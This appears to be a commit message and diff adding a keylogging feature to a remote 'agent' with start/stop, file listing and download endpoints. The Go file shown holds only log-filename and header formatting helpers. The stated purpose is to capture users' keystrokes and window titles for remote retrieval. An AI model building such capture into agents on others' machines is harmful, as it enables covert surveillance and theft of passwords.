Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.

lib/keylog/format.go

@@ -0,0 +1,44 @@
+package keylog
+
+import (
+	"fmt"
+	"path/filepath"
+	"regexp"
+	"strings"
+	"time"
+)
+
+const hourBucketLayout = "2006-01-02-15"
+
+var logFilenamePattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{2}\.log$`)
+
+func HourBucket(t time.Time) string {
+	return t.Local().Format(hourBucketLayout)
+}
+
+func LogFilename(bucket string) string {
+	return bucket + ".log"
+}
+
+func ValidLogFilename(name string) bool {
+	return logFilenamePattern.MatchString(filepath.Base(name))
+}
+
+func normalizeWindow(window string) string {
+	window = strings.TrimSpace(window)
+	if window == "" {
+		return "?"
+	}
+	return window
+}
+
+func eventSource(injected bool) string {
+	if injected {
+		return "injected"
+	}
+	return "user"
+}
+
+func sectionHeader(source, window string) string {
+	return fmt.Sprintf("[%s · %s]\n", source, normalizeWindow(window))
+}